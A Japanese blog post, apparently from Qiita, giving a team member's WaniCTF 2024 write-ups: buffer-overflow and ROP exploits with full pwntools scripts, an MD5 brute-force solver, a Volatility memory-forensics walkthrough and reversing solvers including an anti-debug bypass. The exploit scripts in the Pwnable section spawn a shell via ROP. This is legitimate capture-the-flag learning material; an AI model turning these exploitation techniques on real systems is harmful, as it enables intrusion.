5
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

初めに

SOCの仲間3名でWaniCTF 2024に参加しました。
自分が解いた問題のWriteupになります。
ほぼRevとPwnの内容になると思います。

スコアはこんな感じでした。
image.png

Pwnable

do_not_rewrite

バイナリが渡されます。
ソースも渡されるので中身をみます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    double calories_per_gram;
    double amount_in_grams;
    char name[50];
} Ingredient;

void init(){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    alarm(180);
}

void show_flag(){
    printf("\nExcellent!\n");
    system("cat FLAG");
}

double calculate_total_calories(Ingredient ingredients[], int num_ingredients) {
    double total_calories = 0.0;
    for (int i = 0; i < num_ingredients; i++) {
        total_calories += ingredients[i].calories_per_gram * ingredients[i].amount_in_grams;
    }
    return total_calories;
}

int main() {
    init();

    Ingredient ingredients[3];
    printf("hint: show_flag = %p\n", (void *)show_flag);

    for (int i = 0; i <= 3; i++) {
        printf("\nEnter the name of ingredient %d: ", i + 1);
        scanf("%s", ingredients[i].name);

        printf("Enter the calories per gram for %s: ", ingredients[i].name);
        scanf("%lf", &ingredients[i].calories_per_gram);

        printf("Enter the amount in grams for %s: ", ingredients[i].name);
        scanf("%lf", &ingredients[i].amount_in_grams);
    }

    double total_calories = calculate_total_calories(ingredients, 3);

    printf("\nTotal calories for the meal: %.2f kcal\n", total_calories);

    return 0;
}

ぱっと見name[50]にバッファオーバーフローがあるのが分かります。RIPをshow_flag()にすれば良さそうです。
機構を確認します。
スクリーンショット 2024-06-23 205212.png
CanaryがいるのでCanaryBypassがいります。
実際に実行してみます。
スクリーンショット 2024-06-23 205102.png
show_flagのメモリ位置が見えるのでAddressは分かるのですが、普通に実行しただけでCanaryに引っかかってます。
Ghidraで見たところ、caloriesやamountのStackで引っかかってそう。

一番最初に思いつくBypassする方法はprintfを利用してnameと一緒にCanaryも表示させるCanaryのリークですが、今回getsなどではなくscanfを利用しているので末尾に\x00が追加され、Canaryリークできません。
以下200文字のaを入力した際。0x7fffffffe0e8のアドレスにあるCanaryが見えます。
スクリーンショット 2024-06-23 210859.png
次は201文字。Canaryが変わってるのは別の実行機会のものだからです。末尾にa(\x61)と\x00があるのが分かります。
スクリーンショット 2024-06-23 210938.png

なのでCanaryを別の方法でBypassする必要があります。
以下の箇所に注目します。

scanf("%lf", &ingredients[i].calories_per_gram)

double型を利用しているのでここに文字列を入れ込んで次の処理へスキップさせます。
image.png
そうすると次のStructの設定に飛ぶことが可能です。

リターンアドレスに関してはingredient 4の部分の書き込みで制御できます。
スクリーンショット 2024-06-23 213003.png
スクリーンショット 2024-06-23 213123.png
後はコーディングをしてshow_flagに飛ばすだけですが、64bitバイナリでよくあるStackのバイト調整のためにret命令を挟む必要があります。show_flagのアドレスが判明しているので相対アドレスは変わらないことを考え、retのアドレス調整をします。

ret = show_flag + (0x0000555555555527 - 0x000055555555525f)

# 0x0000555555555527 ret local
# 0x000055555555525f show_flag local

Solverは以下のようになりました。

from pwn import *

context.log_level = "debug"

binfile = './chall'
rhost = 'chal-lz56g6.wanictf.org'
rport = 9004

elf = ELF(binfile)
context.binary = elf

p = remote(rhost, rport)
p.recvuntil(b'show_flag = ')
show_flag = int(p.recvline()[:-1].decode(), 16)
print('win', hex(show_flag))

ret = show_flag + (0x0000555555555527 - 0x000055555555525f)

payload = pack(ret)
payload += pack(show_flag)


p.sendlineafter(b'ingredient 1', b'a'*4)
p.sendlineafter(b'a'*4, b'b'*4)
p.sendlineafter(b'b'*4, b'c'*4)
p.sendlineafter(b'c'*4, payload)

p.sendlineafter(b'ingredient 4: ', b'\x00')

p.interactive()

image.png

do_not_rewrite2

ほぼ同じコードが渡されます。
show_flagがなくなったのでROPでShellを取る問題。
printfのアドレスがshow_flagに代わって渡されるのでそのアドレスを元にlibcのアドレスを算出し、ROPするだけでOK。
以下がSolver

from pwn import *
import time

context.log_level = "debug"

binfile = './chall'
libcfile = './libc.so.6'

rhost = 'chal-lz56g6.wanictf.org'
rport = 9005

elf = ELF(binfile)
context.binary = elf
libc = ELF(libcfile)

p = remote(rhost, rport)
p.recvuntil(b'printf = ')
libc_leak = int(p.recvline()[:-1].decode(), 16)
libc.address = libc_leak - (0x7ffff7c600f0-0x00007ffff7c00000)
print('libc', hex(libc.address))

rop = ROP(libc)
rop.execv(next(libc.search(b'/bin/sh\x00')), 0)

p.sendlineafter(b'ingredient 1', b'a'*4)
p.sendlineafter(b'a'*4, b'b'*4)
p.sendlineafter(b'b'*4, b'c'*4)
p.sendlineafter(b'c'*4, rop.chain())

p.sendlineafter(b'ingredient 4: ', b'\x00')

p.interactive()

スクリーンショット 2024-06-22 022103.png

Web

Bad_Worker

DUMMY.txtの部分をFLAG.txtにしたら出てきた。

Crypto

replacement

以下のテキストファイルとpythonファイルを渡されます。

my_diary_11_8_Wednesday.txt
[265685380796387128074260337556987156845, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 330443362254714811278522520670919771869, 301648155472379285594517050531127483548, 101473043316046160883738884593606957434, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 324787361952219506718126426467652498112, 

...省略
chall.py
from secret import cal
import hashlib

enc = []
for char in cal:
    x = ord(char)
    x = hashlib.md5(str(x).encode()).hexdigest()
    enc.append(int(x, 16))
        
with open('my_diary_11_8_Wednesday.txt', 'w') as f:
    f.write(str(enc))

MD5の値を総当たりで復元できないかなと思ってGitHub Copilot Chatさんにききました。
image.png
ありがとうCopilotさん。以下がSolver。

import hashlib

# ハッシュ値のリストをファイルから読み込む
with open('my_diary_11_8_Wednesday.txt', 'r') as f:
    enc = eval(f.read())

# ASCII文字の範囲でブルートフォース
original_chars = []
for hash_val in enc:
    found = False
    for char_code in range(32, 127):  # ASCIIの印刷可能文字
        test_hash = hashlib.md5(str(char_code).encode()).hexdigest()
        if int(test_hash, 16) == hash_val:
            original_chars.append(chr(char_code))
            found = True
            break
    if not found:
        original_chars.append('?')  # 一致するものが見つからない場合はプレースホルダ

# 復元された文字列を表示
print(''.join(original_chars))

Forensics

mem_search

メモリダンプファイルが渡されます。
解析はremnuxさんで行います。
image.png
Windowsマシンぽいです。
とりあえず、プロセス見ます。

remnux@remnux:~/Downloads$ vol3 -f chal_mem_search.DUMP windows.pstree
Volatility 3 Framework 2.5.0
Progress:  100.00		PDB scanning finished                                
PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime

4	0	System	0xcd88c7a97040	168	-	N/A	False	2024-05-11 09:31:11.000000 	N/A
* 72	4	Registry	0xcd88c7a85080	4	-	N/A	False	2024-05-11 09:31:06.000000 	N/A
* 528	4	smss.exe	0xcd88c9ac8040	2	-	N/A	False	2024-05-11 09:31:11.000000 	N/A
* 1812	4	MemCompression	0xcd88c7b25040	46	-	N/A	False	2024-05-11 09:31:16.000000 	N/A
632	624	csrss.exe	0xcd88c946a080	10	-	0	False	2024-05-11 09:31:13.000000 	N/A
704	624	wininit.exe	0xcd88cb7d1080	1	-	0	False	2024-05-11 09:31:13.000000 	N/A
* 824	704	services.exe	0xcd88cbe3c100	8	-	0	False	2024-05-11 09:31:13.000000 	N/A
** 1920	824	svchost.exe	0xcd88cc2ea080	11	-	0	False	2024-05-11 09:31:16.000000 	N/A
*** 7652	1920	audiodg.exe	0xcd88cd7240c0	7	-	0	False	2024-05-11 09:33:47.000000 	N/A
** 2560	824	MsMpEng.exe	0xcd88cc68a0c0	30	-	0	False	2024-05-11 09:31:18.000000 	N/A
** 4100	824	svchost.exe	0xcd88ccb8d080	6	-	0	False	2024-05-11 09:31:30.000000 	N/A
** 8	824	svchost.exe	0xcd88cc453080	11	-	0	False	2024-05-11 09:31:17.000000 	N/A
** 5776	824	svchost.exe	0xcd88cd740080	11	-	0	False	2024-05-11 09:31:44.000000 	N/A
** 2452	824	MpDefenderCore	0xcd88cc5f1080	8	-	0	False	2024-05-11 09:31:18.000000 	N/A
** 1176	824	svchost.exe	0xcd88cc048080	16	-	0	False	2024-05-11 09:31:14.000000 	N/A
** 2968	824	dllhost.exe	0xcd88cc8550c0	18	-	0	False	2024-05-11 09:31:20.000000 	N/A
** 3104	824	dllhost.exe	0xcd88cca5a300	14	-	0	False	2024-05-11 09:31:21.000000 	N/A
** 4768	824	NisSrv.exe	0xcd88cd26c080	5	-	0	False	2024-05-11 09:31:36.000000 	N/A
** 1956	824	svchost.exe	0xcd88cc2ef080	5	-	0	False	2024-05-11 09:31:16.000000 	N/A
** 1704	824	svchost.exe	0xcd88cc1de340	3	-	0	False	2024-05-11 09:31:16.000000 	N/A
** 2552	824	vmtoolsd.exe	0xcd88cc626140	11	-	0	False	2024-05-11 09:31:18.000000 	N/A
** 1200	824	svchost.exe	0xcd88cc06b300	18	-	0	False	2024-05-11 09:31:14.000000 	N/A
*** 2520	1200	dasHost.exe	0xcd88cc55f300	6	-	0	False	2024-05-11 09:31:18.000000 	N/A
*** 6636	1200	ctfmon.exe	0xcd88cdd4a240	17	-	1	False	2024-05-11 09:31:56.000000 	N/A
*** 6668	1200	TabTip.exe	0xcd88cdbc90c0	8	-	1	False	2024-05-11 09:31:56.000000 	N/A
*** 1340	1200	TabTip.exe	0xcd88cde33080	0	-	1	False	2024-05-11 09:33:52.000000 	2024-05-11 09:33:52.000000 
** 4528	824	VSSVC.exe	0xcd88cd0a5080	4	-	0	False	2024-05-11 09:31:34.000000 	N/A
** 1976	824	svchost.exe	0xcd88cc2f2240	4	-	0	False	2024-05-11 09:31:16.000000 	N/A
** 568	824	svchost.exe	0xcd88cbf45340	13	-	0	False	2024-05-11 09:31:14.000000 	N/A
** 4536	824	svchost.exe	0xcd88ccd71080	5	-	1	False	2024-05-11 09:31:34.000000 	N/A
** 1600	824	svchost.exe	0xcd88cc1d8300	16	-	0	False	2024-05-11 09:31:15.000000 	N/A
** 1220	824	svchost.exe	0xcd88cc454080	14	-	0	False	2024-05-11 09:31:17.000000 	N/A
** 844	824	SecurityHealth	0xcd88cdf46300	15	-	0	False	2024-05-11 09:32:06.000000 	N/A
** 976	824	svchost.exe	0xcd88cbe912c0	24	-	0	False	2024-05-11 09:31:13.000000 	N/A
*** 6400	976	SkypeApp.exe	0xcd88cd5c9080	14	-	1	False	2024-05-11 09:31:55.000000 	N/A
*** 6496	976	backgroundTask	0xcd88cdd46240	11	-	1	False	2024-05-11 09:31:55.000000 	N/A
*** 1764	976	dllhost.exe	0xcd88cc983340	5	-	0	False	2024-05-11 09:31:20.000000 	N/A
*** 4164	976	WmiPrvSE.exe	0xcd88cd46e300	10	-	0	False	2024-05-11 09:31:39.000000 	N/A
*** 5476	976	RuntimeBroker.	0xcd88cd7990c0	14	-	1	False	2024-05-11 09:31:42.000000 	N/A
*** 4228	976	TextInputHost.	0xcd88cdd17080	21	-	1	False	2024-05-11 09:31:48.000000 	N/A
*** 3912	976	StartMenuExper	0xcd88cd388080	9	-	1	False	2024-05-11 09:31:39.000000 	N/A
*** 7036	976	RuntimeBroker.	0xcd88c7b27080	6	-	1	False	2024-05-11 09:31:59.000000 	N/A
*** 5196	976	RuntimeBroker.	0xcd88cd546080	3	-	1	False	2024-05-11 09:31:40.000000 	N/A
*** 4976	976	TiWorker.exe	0xcd88cd5540c0	3	-	0	False	2024-05-11 09:31:39.000000 	N/A
*** 5392	976	SearchApp.exe	0xcd88cd6b60c0	39	-	1	False	2024-05-11 09:31:41.000000 	N/A
*** 6264	976	RuntimeBroker.	0xcd88cd29b080	11	-	1	False	2024-05-11 09:32:02.000000 	N/A
*** 3028	976	WmiPrvSE.exe	0xcd88cc908300	11	-	0	False	2024-05-11 09:31:20.000000 	N/A
*** 5012	976	dllhost.exe	0xcd88cbfe9080	12	-	1	False	2024-05-11 09:32:03.000000 	N/A
*** 6484	976	smartscreen.ex	0xcd88cd445080	9	-	1	False	2024-05-11 09:32:06.000000 	N/A
*** 6424	976	SkypeBackgroun	0xcd88cd834080	4	-	1	False	2024-05-11 09:31:55.000000 	N/A
*** 6460	976	SearchApp.exe	0xcd88cde0c240	14	-	1	False	2024-05-11 09:31:55.000000 	N/A
** 1360	824	svchost.exe	0xcd88cc0ce340	25	-	0	False	2024-05-11 09:31:15.000000 	N/A
** 1488	824	spoolsv.exe	0xcd88cc413300	7	-	0	False	2024-05-11 09:31:17.000000 	N/A
** 2512	824	VGAuthService.	0xcd88cc5dc080	3	-	0	False	2024-05-11 09:31:18.000000 	N/A
** 1492	824	svchost.exe	0xcd88cc1cf0c0	24	-	0	False	2024-05-11 09:31:15.000000 	N/A
** 856	824	svchost.exe	0xcd88cc984080	4	-	0	False	2024-05-11 09:31:20.000000 	N/A
** 2396	824	svchost.exe	0xcd88cc57f080	14	-	0	False	2024-05-11 09:31:18.000000 	N/A
** 1632	824	svchost.exe	0xcd88cc4182c0	7	-	0	False	2024-05-11 09:31:17.000000 	N/A
** 2912	824	SearchIndexer.	0xcd88cc8592c0	19	-	0	False	2024-05-11 09:31:19.000000 	N/A
*** 7600	2912	SearchProtocol	0xcd88ce2800c0	9	-	0	False	2024-05-11 09:33:13.000000 	N/A
*** 5164	2912	SearchProtocol	0xcd88ce2ab340	6	-	1	False	2024-05-11 09:33:09.000000 	N/A
*** 5716	2912	SearchFilterHo	0xcd88cd26b300	7	-	0	False	2024-05-11 09:33:10.000000 	N/A
** 7804	824	SgrmBroker.exe	0xcd88cd0ab2c0	7	-	0	False	2024-05-11 09:33:20.000000 	N/A
** 4196	824	msdtc.exe	0xcd88cd028300	12	-	0	False	2024-05-11 09:31:31.000000 	N/A
** 1128	824	svchost.exe	0xcd88cc035340	23	-	0	False	2024-05-11 09:31:14.000000 	N/A
** 4588	824	TrustedInstall	0xcd88cd3c02c0	4	-	0	False	2024-05-11 09:31:39.000000 	N/A
** 1136	824	svchost.exe	0xcd88cc034080	16	-	0	False	2024-05-11 09:31:14.000000 	N/A
** 2544	824	vm3dservice.ex	0xcd88cc5af080	3	-	0	False	2024-05-11 09:31:18.000000 	N/A
*** 2776	2544	vm3dservice.ex	0xcd88cc6f6280	3	-	1	False	2024-05-11 09:31:19.000000 	N/A
** 4084	824	svchost.exe	0xcd88ccb91080	13	-	1	False	2024-05-11 09:31:26.000000 	N/A
** 8180	824	svchost.exe	0xcd88cd5a42c0	14	-	0	False	2024-05-11 09:33:21.000000 	N/A
** 1144	824	svchost.exe	0xcd88cc038080	73	-	0	False	2024-05-11 09:31:14.000000 	N/A
*** 4056	1144	sihost.exe	0xcd88ccb9b300	14	-	1	False	2024-05-11 09:31:26.000000 	N/A
**** 6132	4056	msedge.exe	0xcd88cdd1a0c0	0	-	1	False	2024-05-11 09:31:48.000000 	2024-05-11 09:31:51.000000 
*** 3560	1144	MicrosoftEdgeU	0xcd88ccbcd080	4	-	0	True	2024-05-11 09:31:26.000000 	N/A
*** 3488	1144	taskhostw.exe	0xcd88ccbce080	11	-	1	False	2024-05-11 09:31:26.000000 	N/A
** 2940	824	svchost.exe	0xcd88cc86b080	28	-	0	False	2024-05-11 09:31:20.000000 	N/A
* 832	704	lsass.exe	0xcd88cbe4e080	11	-	0	False	2024-05-11 09:31:13.000000 	N/A
* 936	704	fontdrvhost.ex	0xcd88cbe8a0c0	5	-	0	False	2024-05-11 09:31:13.000000 	N/A
712	696	csrss.exe	0xcd88cb7d9140	11	-	1	False	2024-05-11 09:31:13.000000 	N/A
760	696	winlogon.exe	0xcd88cb7f5080	7	-	1	False	2024-05-11 09:31:13.000000 	N/A
* 928	760	fontdrvhost.ex	0xcd88cbe8c1c0	5	-	1	False	2024-05-11 09:31:13.000000 	N/A
* 796	760	dwm.exe	0xcd88cbfe8080	16	-	1	False	2024-05-11 09:31:14.000000 	N/A
* 2200	760	userinit.exe	0xcd88cc57e2c0	0	-	1	False	2024-05-11 09:31:29.000000 	2024-05-11 09:31:59.000000 
** 3576	2200	explorer.exe	0xcd88ccb92080	82	-	1	False	2024-05-11 09:31:29.000000 	N/A
*** 4416	3576	vmtoolsd.exe	0xcd88cdf48300	9	-	1	False	2024-05-11 09:32:07.000000 	N/A
*** 4076	3576	msedge.exe	0xcd88cdf47080	62	-	1	False	2024-05-11 09:32:09.000000 	N/A
**** 5760	4076	msedge.exe	0xcd88cdbb2080	16	-	1	False	2024-05-11 09:32:10.000000 	N/A
**** 7236	4076	msedge.exe	0xcd88ce247080	15	-	1	False	2024-05-11 09:32:11.000000 	N/A
**** 6532	4076	msedge.exe	0xcd88cd080080	14	-	1	False	2024-05-11 09:33:30.000000 	N/A
**** 3964	4076	msedge.exe	0xcd88cd408340	14	-	1	False	2024-05-11 09:33:09.000000 	N/A
**** 108	4076	msedge.exe	0xcd88ccb9a080	8	-	1	False	2024-05-11 09:33:29.000000 	N/A
**** 3700	4076	msedge.exe	0xcd88cd8b6080	8	-	1	False	2024-05-11 09:32:09.000000 	N/A
**** 5684	4076	msedge.exe	0xcd88cdbe3340	15	-	1	False	2024-05-11 09:32:09.000000 	N/A
**** 4696	4076	msedge.exe	0xcd88cd8ba080	9	-	1	False	2024-05-11 09:32:10.000000 	N/A
**** 7292	4076	msedge.exe	0xcd88ce270080	17	-	1	False	2024-05-11 09:32:11.000000 	N/A
*** 7372	3576	OneDrive.exe	0xcd88ce276080	29	-	1	False	2024-05-11 09:32:12.000000 	N/A
*** 6608	3576	cmd.exe	0xcd88cdf42080	1	-	1	False	2024-05-11 09:32:06.000000 	N/A
**** 4264	6608	conhost.exe	0xcd88cdf49080	5	-	1	False	2024-05-11 09:32:06.000000 	N/A
*** 5456	3576	notepad.exe	0xcd88ce2ed340	5	-	1	False	2024-05-11 09:33:19.000000 	N/A
*** 2704	3576	powershell.exe	0xcd88ce279080	0	-	1	False	2024-05-11 09:33:52.000000 	2024-05-11 09:33:56.000000 
**** 7844	2704	msedge.exe	0xcd88cd7ac080	0	-	1	True	2024-05-11 09:33:55.000000 	2024-05-11 09:33:57.000000 
*** 3892	3576	SecurityHealth	0xcd88cdf41080	7	-	1	False	2024-05-11 09:32:06.000000 	N/A
remnux@remnux:~/Downloads$ 

cmd.exepowershell.exe辺り見ていきたいのとmsedge.exeがpowershellの子プロセスなので怪しい。しっかり見たほうが良さそう。ここら辺はSOCの目利きですね。
msedge.exeのメモリダンプをを以下コマンドで抽出します。

vol3 -f chal_mem_search.DUMP windows.memmap --pid 7844 --dump

通信先を雑にgrepで調べます。

remnux@remnux:~/Downloads$ strings pid.7844.dmp | grep http:

スクリーンショット 2024-06-23 221657.png
それっぽい文字列を見つけたのでこれをBase64デコードします。
image.png

Reversing

home

実行ファイルが渡されるので実行してみます。
image.png
なんだこれ、Ghidraに食わせます。
image.png
getcwdでディレクトリ判定しているのが見えます。ptraceでデバック判定もしてそうです。
とりあえずディレクトリ作ってgdbで見ます。
image.png
デバッカブロックされました。んじゃこの関数の結果を改ざんします。
image.png
0x00005555555559eeにブレークポイントを打ちます。
image.png
raxに結果が格納されてますが、これを0にします。これでBypassできます。
スクリーンショット 2024-06-23 223708.png
あとはconstructFlagを呼んで、Flagを探します。
image.png

Thread

実行ファイルが渡されるので実行してみます。
image.png
フラグ判定バイナリみたいです。
Ghidraで確認します。
image.png
フラグの長さは0x2dで各フラグ文字に対してFUN_00101289を実行するスレッドを作成してゴニョニョしたあとにDAT_00104020の文字列と比較するみたいです。
比較対象はこんな感じ。
image.png
FUN_00101289の中身を確認します。
image.png
3で割った余りに対して各処理を順番に実行するといった内容のようです。
1処理だけではなく全て実行します。開始処理の順番が異なります。
こういうのはGDBで追ったほうが分かりやすいので見ることをお勧めします。

後はその順番を逆順で流すだけでいいです。
solverはこうなりました。

param=[0xa8,0x8a,0xbf,0xa5,0x2fd,0x59,0xde,0x24,0x65,0x10f,0xde,0x23,0x15d,0x42,0x2c,0xde,0x09,0x65,0xde,0x51,0xef,0x13f,0x24,0x53,0x15d,0x48,0x53,0xde,0x09,0x53,0x14b,0x24,0x65,0xde,0x36,0x53,0x15d,0x12,0x4a,0x124,0x3f,0x5f,0x14e,0xd5,0x0b]

flag = []

for i in range(len(param)):
    if i % 3 == 0:
        flag.append(chr(int(((param[i] ^ 0x7f) - 5) / 3)))
    elif i % 3 == 1:
        flag.append(chr((int(param[i] / 3) ^ 0x7f ) - 5))
    elif i % 3 == 2:
        flag.append(chr(int((param[i] -5 ) / 3 ) ^ 0x7f))

print(''.join(flag))

image.png

gates

実行ファイルを渡されるので実行してみます。
image.png
これもフラグ判定バイナリのようです。
Ghidraで確認します。
image.png
DAT_0010404からDAT_0010424cまで0x10ごとのメモリ番地に値を受け取り(0x20文字分)、FUN_00101220の処理を0x100繰り返すようです。
その後に、フラグのDAT_00104020と変換した入力DAT_00104e4dを比較するといったながれですね。
比較対象のDAT_00104020はこんな感じです。
image.png
FUN_00101220の中身を見てみます。
image.png
puVar7のある部分が3の場合はXORの処理、1か2の場合は足し算の処理、4の場合はスルー(そのままメモリに投入)のような処理をしています。
DAT_00104040の周りを見ていれば気になるバイトが見えます。DAT_0010424cです。
image.png
ここに何かヒントがありそうなのでGDBを見ます。
適当にFLAGaaaaaaaaaaaaaaaaaaaaaaaaaaaaとか入れます。
image.png
RDXに処理のビット、RAXが参照しているメモリであることが分かります。適当に流しますがビットが0なのでしばらくは何も目立った動きはないです。暫くGDBを回します。
image.png
rax250の番地を参照し始めてビットが変わりました。これで1の処理を実行します。
GhidraでいうとDAT_00104250がビットになってるみたいです。
処理を流します。
image.png
rdiDAT_0010424dのバイト0x67が出現していることが分かります。
恐らくこれとFの文字を足すと思われます。一応予測値を確認しておきます。
image.png
GDBを流します。
image.png
rdiに出てきました。
大体理解できたと思います。DAT_0010424cのバイト列は以下のような並びになってます。

  • DAT_00104250 + 0x10*numが処理を判定するビット(0もあります)
  • DAT_0010424d + 0x10*numが入力に対する処理をするときの変数

後はDAT_0010424cのバイト列を抜き出してSolverを作るだけです。
以下のようになりました。

param_flag=[0x3b,0x09,0xe5,0xae,0x3e,0xf1,0x37,0x81,0xfc,0xa1,0x99,0xae,0xf7,0x62,0x7d,0xf7,0xd0,0xcb,0xa2,0x18,0xcd,0x3e,0x89,0x0d,0xd9,0xdd,0x62,0x29,0x8c,0xf3,0x01,0xec]


param_1_add = [0x67,0xc6,0x69,0x73,0x51,0xff,0x4a,0xec,0x29,0xcd,0xba,0xab,0xf2,0xfb,0xe3,0x46,0x7c,0xc2,0x54,0xf8,0x1b,0xe8,0xe7,0x8d,0x76,0x5a,0x2e,0x63,0x33,0x9f,0xc9,0x9a]
param_3_xor = [0x66,0x32,0x0d,0xb7,0x31,0x58,0xa3,0x5a,0x25,0x5d,0x05,0x17,0x58,0xe9,0x5e,0xd4,0xab,0xb2,0xcd,0xc6,0x9b,0xb4,0x54,0x11,0x0e,0x82,0x74,0x41,0x21,0x3d,0xdc,0x87]
param_2_add = [0x70,0xe9,0x3e,0xa1,0x41,0xe1,0xfc,0x67,0x3e,0x01,0x7e,0x97,0xea,0xdc,0x6b,0x96,0x8f,0x38,0x5c,0x2a,0xec,0xb0,0x3b,0xfb,0x32,0xaf,0x3c,0x54,0xec,0x18,0xdb,0x5c]

def adjust_values(param_flag, param_add):
    for i in range(len(param_flag)):
        if param_flag[i] - param_add[i] < 0:
            param_flag[i] = (param_flag[i] + 0x100) - param_add[i]
        else:
            param_flag[i] -= param_add[i]
    return param_flag
  
def xor_values(param_flag, param_3_xor):
    for i in range(len(param_flag)):
        param_flag[i] ^= param_3_xor[i]
    return param_flag
  
adjust_values(param_flag, param_2_add)
xor_values(param_flag, param_3_xor)
adjust_values(param_flag, param_1_add)

flag = []
for i in range(len(param_flag)):
    flag.append(chr(param_flag[i]))

print("".join(flag))

image.png

最後に

Revのラスボスを解けなかったのは悔しかったですが、とても楽しいCTFでした。
チームには完全初心者も参加していたので楽しい経験になってくれていれば嬉しいです。

運営の皆さんありがとうございました。

5
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?